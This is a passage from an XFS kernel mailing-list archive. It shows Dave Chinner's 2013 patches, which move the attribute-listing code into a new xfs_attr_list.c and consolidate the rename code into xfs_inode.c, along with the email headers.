cursor->offset++; - } - - kmem_free(sbuf); - return(0); -} - /* * Check a leaf attribute block to see if all the entries would fit into * a shortform attribute list. @@ -2644,130 +2468,6 @@ xfs_attr_leaf_newentsize(int namelen, int valuelen, int blocksize, int *local) return size; } -/* - * Copy out attribute list entries for attr_list(), for leaf attribute lists. - */ -int -xfs_attr3_leaf_list_int( - struct xfs_buf *bp, - struct xfs_attr_list_context *context) -{ - struct attrlist_cursor_kern *cursor; - struct xfs_attr_leafblock *leaf; - struct xfs_attr3_icleaf_hdr ichdr; - struct xfs_attr_leaf_entry *entries; - struct xfs_attr_leaf_entry *entry; - int retval; - int i; - - trace_xfs_attr_list_leaf(context); - - leaf = bp->b_addr; - xfs_attr3_leaf_hdr_from_disk(&ichdr, leaf); - entries = xfs_attr3_leaf_entryp(leaf); - - cursor = context->cursor; - cursor->initted = 1; - - /* - * Re-find our place in the leaf block if this is a new syscall. - */ - if (context->resynch) { - entry = &entries[0]; - for (i = 0; i < ichdr.count; entry++, i++) { - if (be32_to_cpu(entry->hashval) == cursor->hashval) { - if (cursor->offset == context->dupcnt) { - context->dupcnt = 0; - break; - } - context->dupcnt++; - } else if (be32_to_cpu(entry->hashval) > - cursor->hashval) { - context->dupcnt = 0; - break; - } - } - if (i == ichdr.count) { - trace_xfs_attr_list_notfound(context); - return 0; - } - } else { - entry = &entries[0]; - i = 0; - } - context->resynch = 0; - - /* - * We have found our place, start copying out the new attributes. - */ - retval = 0; - for (; i < ichdr.count; entry++, i++) { - if (be32_to_cpu(entry->hashval) != cursor->hashval) { - cursor->hashval = be32_to_cpu(entry->hashval); - cursor->offset = 0; - } - - if (entry->flags & XFS_ATTR_INCOMPLETE) - continue; /* skip incomplete entries */ - - if (entry->flags & XFS_ATTR_LOCAL) { - xfs_attr_leaf_name_local_t *name_loc = - xfs_attr3_leaf_name_local(leaf, i); - - retval = context->put_listent(context, - entry->flags, - name_loc->nameval, - (int)name_loc->namelen, - be16_to_cpu(name_loc->valuelen), - &name_loc->nameval[name_loc->namelen]); - if (retval) - return retval; - } else { - xfs_attr_leaf_name_remote_t *name_rmt = - xfs_attr3_leaf_name_remote(leaf, i); - - int valuelen = be32_to_cpu(name_rmt->valuelen); - - if (context->put_value) { - xfs_da_args_t args; - - memset((char *)&args, 0, sizeof(args)); - args.dp = context->dp; - args.whichfork = XFS_ATTR_FORK; - args.valuelen = valuelen; - args.value = kmem_alloc(valuelen, KM_SLEEP | KM_NOFS); - args.rmtblkno = be32_to_cpu(name_rmt->valueblk); - args.rmtblkcnt = xfs_attr3_rmt_blocks( - args.dp->i_mount, valuelen); - retval = xfs_attr_rmtval_get(&args); - if (retval) - return retval; - retval = context->put_listent(context, - entry->flags, - name_rmt->name, - (int)name_rmt->namelen, - valuelen, - args.value); - kmem_free(args.value); - } else { - retval = context->put_listent(context, - entry->flags, - name_rmt->name, - (int)name_rmt->namelen, - valuelen, - NULL); - } - if (retval) - return retval; - } - if (context->seen_enough) - break; - cursor->offset++; - } - trace_xfs_attr_list_leaf_end(context); - return retval; -} - /*======================================================================== * Manage the INCOMPLETE flag in a leaf entry diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c new file mode 100644 index 0000000..cbc80d4 --- /dev/null +++ b/fs/xfs/xfs_attr_list.c @@ -0,0 +1,655 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_types.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_alloc.h" +#include "xfs_btree.h" +#include "xfs_attr_sf.h" +#include "xfs_attr_remote.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_inode_item.h" +#include "xfs_bmap.h" +#include "xfs_attr.h" +#include "xfs_attr_leaf.h" +#include "xfs_error.h" +#include "xfs_trace.h" +#include "xfs_buf_item.h" +#include "xfs_cksum.h" + +STATIC int +xfs_attr_shortform_compare(const void *a, const void *b) +{ + xfs_attr_sf_sort_t *sa, *sb; + + sa = (xfs_attr_sf_sort_t *)a; + sb = (xfs_attr_sf_sort_t *)b; + if (sa->hash < sb->hash) { + return(-1); + } else if (sa->hash > sb->hash) { + return(1); + } else { + return(sa->entno - sb->entno); + } +} + +#define XFS_ISRESET_CURSOR(cursor) \ + (!((cursor)->initted) && !((cursor)->hashval) && \ + !((cursor)->blkno) && !((cursor)->offset)) +/* + * Copy out entries of shortform attribute lists for attr_list(). + * Shortform attribute lists are not stored in hashval sorted order. + * If the output buffer is not large enough to hold them all, then we + * we have to calculate each entries' hashvalue and sort them before + * we can begin returning them to the user. + */ +int +xfs_attr_shortform_list(xfs_attr_list_context_t *context) +{ + attrlist_cursor_kern_t *cursor; + xfs_attr_sf_sort_t *sbuf, *sbp; + xfs_attr_shortform_t *sf; + xfs_attr_sf_entry_t *sfe; + xfs_inode_t *dp; + int sbsize, nsbuf, count, i; + int error; + + ASSERT(context != NULL); + dp = context->dp; + ASSERT(dp != NULL); + ASSERT(dp->i_afp != NULL); + sf = (xfs_attr_shortform_t *)dp->i_afp->if_u1.if_data; + ASSERT(sf != NULL); + if (!sf->hdr.count) + return(0); + cursor = context->cursor; + ASSERT(cursor != NULL); + + trace_xfs_attr_list_sf(context); + + /* + * If the buffer is large enough and the cursor is at the start, + * do not bother with sorting since we will return everything in + * one buffer and another call using the cursor won't need to be + * made. + * Note the generous fudge factor of 16 overhead bytes per entry. + * If bufsize is zero then put_listent must be a search function + * and can just scan through what we have. + */ + if (context->bufsize == 0 || + (XFS_ISRESET_CURSOR(cursor) && + (dp->i_afp->if_bytes + sf->hdr.count * 16) < context->bufsize)) { + for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) { + error = context->put_listent(context, + sfe->flags, + sfe->nameval, + (int)sfe->namelen, + (int)sfe->valuelen, + &sfe->nameval[sfe->namelen]); + + /* + * Either search callback finished early or + * didn't fit it all in the buffer after all. + */ + if (context->seen_enough) + break; + + if (error) + return error; + sfe = XFS_ATTR_SF_NEXTENTRY(sfe); + } + trace_xfs_attr_list_sf_all(context); + return(0); + } + + /* do no more for a search callback */ + if (context->bufsize == 0) + return 0; + + /* + * It didn't all fit, so we have to sort everything on hashval. + */ + sbsize = sf->hdr.count * sizeof(*sbuf); + sbp = sbuf = kmem_alloc(sbsize, KM_SLEEP | KM_NOFS); + + /* + * Scan the attribute list for the rest of the entries, storing + * the relevant info from only those that match into a buffer. + */ + nsbuf = 0; + for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) { + if (unlikely( + ((char *)sfe < (char *)sf) || + ((char *)sfe >= ((char *)sf + dp->i_afp->if_bytes)))) { + XFS_CORRUPTION_ERROR("xfs_attr_shortform_list", + XFS_ERRLEVEL_LOW, + context->dp->i_mount, sfe); + kmem_free(sbuf); + return XFS_ERROR(EFSCORRUPTED); + } + + sbp->entno = i; + sbp->hash = xfs_da_hashname(sfe->nameval, sfe->namelen); + sbp->name = sfe->nameval; + sbp->namelen = sfe->namelen; + /* These are bytes, and both on-disk, don't endian-flip */ + sbp->valuelen = sfe->valuelen; + sbp->flags = sfe->flags; + sfe = XFS_ATTR_SF_NEXTENTRY(sfe); + sbp++; + nsbuf++; + } + + /* + * Sort the entries on hash then entno. + */ + xfs_sort(sbuf, nsbuf, sizeof(*sbuf), xfs_attr_shortform_compare); + + /* + * Re-find our place IN THE SORTED LIST. + */ + count = 0; + cursor->initted = 1; + cursor->blkno = 0; + for (sbp = sbuf, i = 0; i < nsbuf; i++, sbp++) { + if (sbp->hash == cursor->hashval) { + if (cursor->offset == count) { + break; + } + count++; + } else if (sbp->hash > cursor->hashval) { + break; + } + } + if (i == nsbuf) { + kmem_free(sbuf); + return(0); + } + + /* + * Loop putting entries into the user buffer. + */ + for ( ; i < nsbuf; i++, sbp++) { + if (cursor->hashval != sbp->hash) { + cursor->hashval = sbp->hash; + cursor->offset = 0; + } + error = context->put_listent(context, + sbp->flags, + sbp->name, + sbp->namelen, + sbp->valuelen, + &sbp->name[sbp->namelen]); + if (error) + return error; + if (context->seen_enough) + break; + cursor->offset++; + } + + kmem_free(sbuf); + return(0); +} + +STATIC int +xfs_attr_node_list(xfs_attr_list_context_t *context) +{ + attrlist_cursor_kern_t *cursor; + xfs_attr_leafblock_t *leaf; + xfs_da_intnode_t *node; + struct xfs_attr3_icleaf_hdr leafhdr; + struct xfs_da3_icnode_hdr nodehdr; + struct xfs_da_node_entry *btree; + int error, i; + struct xfs_buf *bp; + + trace_xfs_attr_node_list(context); + + cursor = context->cursor; + cursor->initted = 1; + + /* + * Do all sorts of validation on the passed-in cursor structure. + * If anything is amiss, ignore the cursor and look up the hashval + * starting from the btree root. + */ + bp = NULL; + if (cursor->blkno > 0) { + error = xfs_da3_node_read(NULL, context->dp, cursor->blkno, -1, + &bp, XFS_ATTR_FORK); + if ((error != 0) && (error != EFSCORRUPTED)) + return(error); + if (bp) { + struct xfs_attr_leaf_entry *entries; + + node = bp->b_addr; + switch (be16_to_cpu(node->hdr.info.magic)) { + case XFS_DA_NODE_MAGIC: + case XFS_DA3_NODE_MAGIC: + trace_xfs_attr_list_wrong_blk(context); + xfs_trans_brelse(NULL, bp); + bp = NULL; + break; + case XFS_ATTR_LEAF_MAGIC: + case XFS_ATTR3_LEAF_MAGIC: + leaf = bp->b_addr; + xfs_attr3_leaf_hdr_from_disk(&leafhdr, leaf); + entries = xfs_attr3_leaf_entryp(leaf); + if (cursor->hashval > be32_to_cpu( + entries[leafhdr.count - 1].hashval)) { + trace_xfs_attr_list_wrong_blk(context); + xfs_trans_brelse(NULL, bp); + bp = NULL; + } else if (cursor->hashval <= be32_to_cpu( + entries[0].hashval)) { + trace_xfs_attr_list_wrong_blk(context); + xfs_trans_brelse(NULL, bp); + bp = NULL; + } + break; + default: + trace_xfs_attr_list_wrong_blk(context); + xfs_trans_brelse(NULL, bp); + bp = NULL; + } + } + } + + /* + * We did not find what we expected given the cursor's contents, + * so we start from the top and work down based on the hash value. + * Note that start of node block is same as start of leaf block. + */ + if (bp == NULL) { + cursor->blkno = 0; + for (;;) { + __uint16_t magic; + + error = xfs_da3_node_read(NULL, context->dp, + cursor->blkno, -1, &bp, + XFS_ATTR_FORK); + if (error) + return(error); + node = bp->b_addr; + magic = be16_to_cpu(node->hdr.info.magic); + if (magic == XFS_ATTR_LEAF_MAGIC || + magic == XFS_ATTR3_LEAF_MAGIC) + break; + if (magic != XFS_DA_NODE_MAGIC && + magic != XFS_DA3_NODE_MAGIC) { + XFS_CORRUPTION_ERROR("xfs_attr_node_list(3)", + XFS_ERRLEVEL_LOW, + context->dp->i_mount, + node); + xfs_trans_brelse(NULL, bp); + return XFS_ERROR(EFSCORRUPTED); + } + + xfs_da3_node_hdr_from_disk(&nodehdr, node); + btree = xfs_da3_node_tree_p(node); + for (i = 0; i < nodehdr.count; btree++, i++) { + if (cursor->hashval + <= be32_to_cpu(btree->hashval)) { + cursor->blkno = be32_to_cpu(btree->before); + trace_xfs_attr_list_node_descend(context, + btree); + break; + } + } + if (i == nodehdr.count) { + xfs_trans_brelse(NULL, bp); + return 0; + } + xfs_trans_brelse(NULL, bp); + } + } + ASSERT(bp != NULL); + + /* + * Roll upward through the blocks, processing each leaf block in + * order. As long as there is space in the result buffer, keep + * adding the information. + */ + for (;;) { + leaf = bp->b_addr; + error = xfs_attr3_leaf_list_int(bp, context); + if (error) { + xfs_trans_brelse(NULL, bp); + return error; + } + xfs_attr3_leaf_hdr_from_disk(&leafhdr, leaf); + if (context->seen_enough || leafhdr.forw == 0) + break; + cursor->blkno = leafhdr.forw; + xfs_trans_brelse(NULL, bp); + error = xfs_attr3_leaf_read(NULL, context->dp, cursor->blkno, -1, + &bp); + if (error) + return error; + } + xfs_trans_brelse(NULL, bp); + return 0; +} + +/* + * Copy out attribute list entries for attr_list(), for leaf attribute lists. + */ +int +xfs_attr3_leaf_list_int( + struct xfs_buf *bp, + struct xfs_attr_list_context *context) +{ + struct attrlist_cursor_kern *cursor; + struct xfs_attr_leafblock *leaf; + struct xfs_attr3_icleaf_hdr ichdr; + struct xfs_attr_leaf_entry *entries; + struct xfs_attr_leaf_entry *entry; + int retval; + int i; + + trace_xfs_attr_list_leaf(context); + + leaf = bp->b_addr; + xfs_attr3_leaf_hdr_from_disk(&ichdr, leaf); + entries = xfs_attr3_leaf_entryp(leaf); + + cursor = context->cursor; + cursor->initted = 1; + + /* + * Re-find our place in the leaf block if this is a new syscall. + */ + if (context->resynch) { + entry = &entries[0]; + for (i = 0; i < ichdr.count; entry++, i++) { + if (be32_to_cpu(entry->hashval) == cursor->hashval) { + if (cursor->offset == context->dupcnt) { + context->dupcnt = 0; + break; + } + context->dupcnt++; + } else if (be32_to_cpu(entry->hashval) > + cursor->hashval) { + context->dupcnt = 0; + break; + } + } + if (i == ichdr.count) { + trace_xfs_attr_list_notfound(context); + return 0; + } + } else { + entry = &entries[0]; + i = 0; + } + context->resynch = 0; + + /* + * We have found our place, start copying out the new attributes. + */ + retval = 0; + for (; i < ichdr.count; entry++, i++) { + if (be32_to_cpu(entry->hashval) != cursor->hashval) { + cursor->hashval = be32_to_cpu(entry->hashval); + cursor->offset = 0; + } + + if (entry->flags & XFS_ATTR_INCOMPLETE) + continue; /* skip incomplete entries */ + + if (entry->flags & XFS_ATTR_LOCAL) { + xfs_attr_leaf_name_local_t *name_loc = + xfs_attr3_leaf_name_local(leaf, i); + + retval = context->put_listent(context, + entry->flags, + name_loc->nameval, + (int)name_loc->namelen, + be16_to_cpu(name_loc->valuelen), + &name_loc->nameval[name_loc->namelen]); + if (retval) + return retval; + } else { + xfs_attr_leaf_name_remote_t *name_rmt = + xfs_attr3_leaf_name_remote(leaf, i); + + int valuelen = be32_to_cpu(name_rmt->valuelen); + + if (context->put_value) { + xfs_da_args_t args; + + memset((char *)&args, 0, sizeof(args)); + args.dp = context->dp; + args.whichfork = XFS_ATTR_FORK; + args.valuelen = valuelen; + args.value = kmem_alloc(valuelen, KM_SLEEP | KM_NOFS); + args.rmtblkno = be32_to_cpu(name_rmt->valueblk); + args.rmtblkcnt = xfs_attr3_rmt_blocks( + args.dp->i_mount, valuelen); + retval = xfs_attr_rmtval_get(&args); + if (retval) + return retval; + retval = context->put_listent(context, + entry->flags, + name_rmt->name, + (int)name_rmt->namelen, + valuelen, + args.value); + kmem_free(args.value); + } else { + retval = context->put_listent(context, + entry->flags, + name_rmt->name, + (int)name_rmt->namelen, + valuelen, + NULL); + } + if (retval) + return retval; + } + if (context->seen_enough) + break; + cursor->offset++; + } + trace_xfs_attr_list_leaf_end(context); + return retval; +} + +/* + * Copy out attribute entries for attr_list(), for leaf attribute lists. + */ +STATIC int +xfs_attr_leaf_list(xfs_attr_list_context_t *context) +{ + int error; + struct xfs_buf *bp; + + trace_xfs_attr_leaf_list(context); + + context->cursor->blkno = 0; + error = xfs_attr3_leaf_read(NULL, context->dp, 0, -1, &bp); + if (error) + return XFS_ERROR(error); + + error = xfs_attr3_leaf_list_int(bp, context); + xfs_trans_brelse(NULL, bp); + return XFS_ERROR(error); +} + +int +xfs_attr_list_int( + xfs_attr_list_context_t *context) +{ + int error; + xfs_inode_t *dp = context->dp; + + XFS_STATS_INC(xs_attr_list); + + if (XFS_FORCED_SHUTDOWN(dp->i_mount)) + return EIO; + + xfs_ilock(dp, XFS_ILOCK_SHARED); + + /* + * Decide on what work routines to call based on the inode size. + */ + if (!xfs_inode_hasattr(dp)) { + error = 0; + } else if (dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { + error = xfs_attr_shortform_list(context); + } else if (xfs_bmap_one_block(dp, XFS_ATTR_FORK)) { + error = xfs_attr_leaf_list(context); + } else { + error = xfs_attr_node_list(context); + } + + xfs_iunlock(dp, XFS_ILOCK_SHARED); + + return error; +} + +#define ATTR_ENTBASESIZE /* minimum bytes used by an attr */ \ + (((struct attrlist_ent *) 0)->a_name - (char *) 0) +#define ATTR_ENTSIZE(namelen) /* actual bytes used by an attr */ \ + ((ATTR_ENTBASESIZE + (namelen) + 1 + sizeof(u_int32_t)-1) \ + & ~(sizeof(u_int32_t)-1)) + +/* + * Format an attribute and copy it out to the user's buffer. + * Take care to check values and protect against them changing later, + * we may be reading them directly out of a user buffer. + */ +STATIC int +xfs_attr_put_listent( + xfs_attr_list_context_t *context, + int flags, + unsigned char *name, + int namelen, + int valuelen, + unsigned char *value) +{ + struct attrlist *alist = (struct attrlist *)context->alist; + attrlist_ent_t *aep; + int arraytop; + + ASSERT(!(context->flags & ATTR_KERNOVAL)); + ASSERT(context->count >= 0); + ASSERT(context->count < (ATTR_MAX_VALUELEN/8)); + ASSERT(context->firstu >= sizeof(*alist)); + ASSERT(context->firstu <= context->bufsize); + + /* + * Only list entries in the right namespace. + */ + if (((context->flags & ATTR_SECURE) == 0) != + ((flags & XFS_ATTR_SECURE) == 0)) + return 0; + if (((context->flags & ATTR_ROOT) == 0) != + ((flags & XFS_ATTR_ROOT) == 0)) + return 0; + + arraytop = sizeof(*alist) + + context->count * sizeof(alist->al_offset[0]); + context->firstu -= ATTR_ENTSIZE(namelen); + if (context->firstu < arraytop) { + trace_xfs_attr_list_full(context); + alist->al_more = 1; + context->seen_enough = 1; + return 1; + } + + aep = (attrlist_ent_t *)&context->alist[context->firstu]; + aep->a_valuelen = valuelen; + memcpy(aep->a_name, name, namelen); + aep->a_name[namelen] = 0; + alist->al_offset[context->count++] = context->firstu; + alist->al_count = context->count; + trace_xfs_attr_list_add(context); + return 0; +} + +/* + * Generate a list of extended attribute names and optionally + * also value lengths. Positive return value follows the XFS + * convention of being an error, zero or negative return code + * is the length of the buffer returned (negated), indicating + * success. + */ +int +xfs_attr_list( + xfs_inode_t *dp, + char *buffer, + int bufsize, + int flags, + attrlist_cursor_kern_t *cursor) +{ + xfs_attr_list_context_t context; + struct attrlist *alist; + int error; + + /* + * Validate the cursor. + */ + if (cursor->pad1 || cursor->pad2) + return(XFS_ERROR(EINVAL)); + if ((cursor->initted == 0) && + (cursor->hashval || cursor->blkno || cursor->offset)) + return XFS_ERROR(EINVAL); + + /* + * Check for a properly aligned buffer. + */ + if (((long)buffer) & (sizeof(int)-1)) + return XFS_ERROR(EFAULT); + if (flags & ATTR_KERNOVAL) + bufsize = 0; + + /* + * Initialize the output buffer. + */ + memset(&context, 0, sizeof(context)); + context.dp = dp; + context.cursor = cursor; + context.resynch = 1; + context.flags = flags; + context.alist = buffer; + context.bufsize = (bufsize & ~(sizeof(int)-1)); /* align */ + context.firstu = context.bufsize; + context.put_listent = xfs_attr_put_listent; + + alist = (struct attrlist *)context.alist; + alist->al_count = 0; + alist->al_more = 0; + alist->al_offset[0] = context.bufsize; + + error = xfs_attr_list_int(&context); + ASSERT(error >= 0); + return error; +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0F907FA7 for ; Fri, 19 Jul 2013 01:25:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2B348F8033 for ; Thu, 18 Jul 2013 23:25:52 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id zdcjYZRLs56AQWs6 for ; Thu, 18 Jul 2013 23:25:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBgZOQMbGYgPti+ORBsTgS6DcgOSbYEZjXmHK4MkKoEsAQMc Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:43 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048Y-1V for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001yd-0V for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 25/49] xfs: consolidate xfs_rename.c Date: Fri, 19 Jul 2013 16:24:56 +1000 X-ASG-Orig-Subj: [PATCH 25/49] xfs: consolidate xfs_rename.c Message-Id: <1374215120-7271-26-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215149 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Move the rename code to xfs_inode.c to continue consolidating all the kernel xfs_inode operations in the one place. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 - fs/xfs/xfs_inode.c | 308 +++++++++++++++++++++++++++++++++++++++++++++- fs/xfs/xfs_rename.c | 347 ---------------------------------------------------- 3 files changed, 307 insertions(+), 349 deletions(-) delete mode 100644 fs/xfs/xfs_rename.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 8691dba..e5a0758 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -50,7 +50,6 @@ xfs-y += xfs_aops.o \ xfs_message.o \ xfs_mount.o \ xfs_mru_cache.o \ - xfs_rename.o \ xfs_super.o \ xfs_symlink.o \ xfs_trans.o \ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index aec7f15..29d41c4 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2267,6 +2267,313 @@ xfs_remove( return error; } +/* + * Enter all inodes for a rename transaction into a sorted array. + */ +STATIC void +xfs_sort_for_rename( + xfs_inode_t *dp1, /* in: old (source) directory inode */ + xfs_inode_t *dp2, /* in: new (target) directory inode */ + xfs_inode_t *ip1, /* in: inode of old entry */ + xfs_inode_t *ip2, /* in: inode of new entry, if it + already exists, NULL otherwise. */ + xfs_inode_t **i_tab,/* out: array of inode returned, sorted */ + int *num_inodes) /* out: number of inodes in array */ +{ + xfs_inode_t *temp; + int i, j; + + /* + * i_tab contains a list of pointers to inodes. We initialize + * the table here & we'll sort it. We will then use it to + * order the acquisition of the inode locks. + * + * Note that the table may contain duplicates. e.g., dp1 == dp2. + */ + i_tab[0] = dp1; + i_tab[1] = dp2; + i_tab[2] = ip1; + if (ip2) { + *num_inodes = 4; + i_tab[3] = ip2; + } else { + *num_inodes = 3; + i_tab[3] = NULL; + } + + /* + * Sort the elements via bubble sort. (Remember, there are at + * most 4 elements to sort, so this is adequate.) + */ + for (i = 0; i < *num_inodes; i++) { + for (j = 1; j < *num_inodes; j++) { + if (i_tab[j]->i_ino < i_tab[j-1]->i_ino) { + temp = i_tab[j]; + i_tab[j] = i_tab[j-1]; + i_tab[j-1] = temp; + } + } + } +} + +/* + * xfs_rename + */ +int +xfs_rename( + xfs_inode_t *src_dp, + struct xfs_name *src_name, + xfs_inode_t *src_ip, + xfs_inode_t *target_dp, + struct xfs_name *target_name, + xfs_inode_t *target_ip) +{ + xfs_trans_t *tp = NULL; + xfs_mount_t *mp = src_dp->i_mount; + int new_parent; /* moving to a new dir */ + int src_is_directory; /* src_name is a directory */ + int error; + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int cancel_flags; + int committed; + xfs_inode_t *inodes[4]; + int spaceres; + int num_inodes; + + trace_xfs_rename(src_dp, target_dp, src_name, target_name); + + new_parent = (src_dp != target_dp); + src_is_directory = S_ISDIR(src_ip->i_d.di_mode); + + xfs_sort_for_rename(src_dp, target_dp, src_ip, target_ip, + inodes, &num_inodes); + + xfs_bmap_init(&free_list, &first_block); + tp = xfs_trans_alloc(mp, XFS_TRANS_RENAME); + cancel_flags = XFS_TRANS_RELEASE_LOG_RES; + spaceres = XFS_RENAME_SPACE_RES(mp, target_name->len); + error = xfs_trans_reserve(tp, spaceres, XFS_RENAME_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); + if (error == ENOSPC) { + spaceres = 0; + error = xfs_trans_reserve(tp, 0, XFS_RENAME_LOG_RES(mp), 0, + XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); + } + if (error) { + xfs_trans_cancel(tp, 0); + goto std_return; + } + + /* + * Attach the dquots to the inodes + */ + error = xfs_qm_vop_rename_dqattach(inodes); + if (error) { + xfs_trans_cancel(tp, cancel_flags); + goto std_return; + } + + /* + * Lock all the participating inodes. Depending upon whether + * the target_name exists in the target directory, and + * whether the target directory is the same as the source + * directory, we can lock from 2 to 4 inodes. + */ + xfs_lock_inodes(inodes, num_inodes, XFS_ILOCK_EXCL); + + /* + * Join all the inodes to the transaction. From this point on, + * we can rely on either trans_commit or trans_cancel to unlock + * them. + */ + xfs_trans_ijoin(tp, src_dp, XFS_ILOCK_EXCL); + if (new_parent) + xfs_trans_ijoin(tp, target_dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, src_ip, XFS_ILOCK_EXCL); + if (target_ip) + xfs_trans_ijoin(tp, target_ip, XFS_ILOCK_EXCL); + + /* + * If we are using project inheritance, we only allow renames + * into our tree when the project IDs are the same; else the + * tree quota mechanism would be circumvented. + */ + if (unlikely((target_dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && + (xfs_get_projid(target_dp) != xfs_get_projid(src_ip)))) { + error = XFS_ERROR(EXDEV); + goto error_return; + } + + /* + * Set up the target. + */ + if (target_ip == NULL) { + /* + * If there's no space reservation, check the entry will + * fit before actually inserting it. + */ + error = xfs_dir_canenter(tp, target_dp, target_name, spaceres); + if (error) + goto error_return; + /* + * If target does not exist and the rename crosses + * directories, adjust the target directory link count + * to account for the ".." reference from the new entry. + */ + error = xfs_dir_createname(tp, target_dp, target_name, + src_ip->i_ino, &first_block, + &free_list, spaceres); + if (error == ENOSPC) + goto error_return; + if (error) + goto abort_return; + + xfs_trans_ichgtime(tp, target_dp, + XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + + if (new_parent && src_is_directory) { + error = xfs_bumplink(tp, target_dp); + if (error) + goto abort_return; + } + } else { /* target_ip != NULL */ + /* + * If target exists and it's a directory, check that both + * target and source are directories and that target can be + * destroyed, or that neither is a directory. + */ + if (S_ISDIR(target_ip->i_d.di_mode)) { + /* + * Make sure target dir is empty. + */ + if (!(xfs_dir_isempty(target_ip)) || + (target_ip->i_d.di_nlink > 2)) { + error = XFS_ERROR(EEXIST); + goto error_return; + } + } + + /* + * Link the source inode under the target name. + * If the source inode is a directory and we are moving + * it across directories, its ".." entry will be + * inconsistent until we replace that down below. + * + * In case there is already an entry with the same + * name at the destination directory, remove it first. + */ + error = xfs_dir_replace(tp, target_dp, target_name, + src_ip->i_ino, + &first_block, &free_list, spaceres); + if (error) + goto abort_return; + + xfs_trans_ichgtime(tp, target_dp, + XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + + /* + * Decrement the link count on the target since the target + * dir no longer points to it. + */ + error = xfs_droplink(tp, target_ip); + if (error) + goto abort_return; + + if (src_is_directory) { + /* + * Drop the link from the old "." entry. + */ + error = xfs_droplink(tp, target_ip); + if (error) + goto abort_return; + } + } /* target_ip != NULL */ + + /* + * Remove the source. + */ + if (new_parent && src_is_directory) { + /* + * Rewrite the ".." entry to point to the new + * directory. + */ + error = xfs_dir_replace(tp, src_ip, &xfs_name_dotdot, + target_dp->i_ino, + &first_block, &free_list, spaceres); + ASSERT(error != EEXIST); + if (error) + goto abort_return; + } + + /* + * We always want to hit the ctime on the source inode. + * + * This isn't strictly required by the standards since the source + * inode isn't really being changed, but old unix file systems did + * it and some incremental backup programs won't work without it. + */ + xfs_trans_ichgtime(tp, src_ip, 